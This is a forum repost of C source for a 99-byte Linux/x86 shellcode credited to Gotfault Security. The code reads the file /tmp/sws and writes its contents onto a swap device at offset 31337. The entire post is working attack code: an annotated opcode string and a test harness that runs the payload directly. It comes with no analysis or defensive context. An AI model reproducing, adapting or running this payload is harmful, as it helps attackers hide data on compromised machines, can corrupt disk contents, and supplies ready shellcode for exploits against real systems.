猪猪 2007-2-2 22:16
linux/x86 SWAP store shellcode 99 bytes
文章作者：Gotfault Security
[code]/*
* linux-x86-swap-store.c - SWAP store shellcode 99 bytes for Linux/x86
* Copyright (c) 2006 Gotfault Security & rfdslabs
*
* Authors:
*
* dx <[email]xgc@gotfault.net[/email]>
* spud <[email]gustavo@rfdslabs.com.br[/email]>
*
* This shellcode reads the content of '/tmp/sws' and stores on swap
* device at offset 31337. Probaly needs to change the device path name
* in open() device syscall.
*
*/
char shellcode[] =
/* open(device, O_WRONLY) */
"\x6a\x05" // push $0x5
"\x58" // pop %eax
"\x99" // cltd
"\x52" // push %edx
"\x68\x73\x64\x61\x31" // push $0x31616473
"\x68\x64\x65\x76\x2f" // push $0x2f766564
"\x66\x68\x2f\x2f" // pushw $0x2f2f
"\x89\xe3" // mov %esp,%ebx
"\x6a\x01" // push $0x1
"\x59" // pop %ecx
"\xcd\x80" // int $0x80
"\x97" // xchg %eax,%edi
/* open("/tmp/sws", O_RDONLY) */
"\x49" // dec %ecx
"\x52" // push %edx
"\x68\x2f\x73\x77\x73" // push $0x7377732f
"\x68\x2f\x74\x6d\x70" // push $0x706d742f
"\x89\xe3" // mov %esp,%ebx
"\x6a\x05" // push $0x5
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x93" // xchg %eax,%ebx
/* read(fd_filename, *buf, 256) */
"\x89\xe1" // mov %esp,%ecx
"\x42" // inc %edx
"\xc1\xe2\x0a" // shl $0xa,%edx
"\x6a\x03" // push $0x3
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x96" // xchg %eax,%esi
/* close(fd_filename) */
"\x6a\x06" // push $0x6
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x92" // xchg %eax,%edx
/* lseek(fd_device, 31337, SEEK_SET) */
"\x31\xc9" // xor %ecx,%ecx
"\x6a\x13" // push $0x13
"\x58" // pop %eax
"\x89\xfb" // mov %edi,%ebx
"\x66\xb9\x69\x7a" // mov $0x7a69,%cx
"\xcd\x80" // int $0x80
/* write(fd_device, *buf, 1025) */
"\x89\x14\x34" // mov %edx,(%esp,%esi,1)
"\x6a\x04" // push $0x4
"\x58" // pop %eax
"\x54" // push %esp
"\x59" // pop %ecx
"\x56" // push %esi
"\x5a" // pop %edx
"\x42" // inc %edx
"\xcd\x80" // int $0x80
/* close(fd_device) */
"\xb0\x06" // mov $0x6,%al
"\xcd\x80" // int $0x80
/* exit(anything) */
"\xb0\x01" // mov $0x1,%al
"\xcd\x80" // int $0x80
;
int main() {
int (*f)() = (int(*)())shellcode;
printf("Length: %u\n", strlen(shellcode));
f();
}[/code]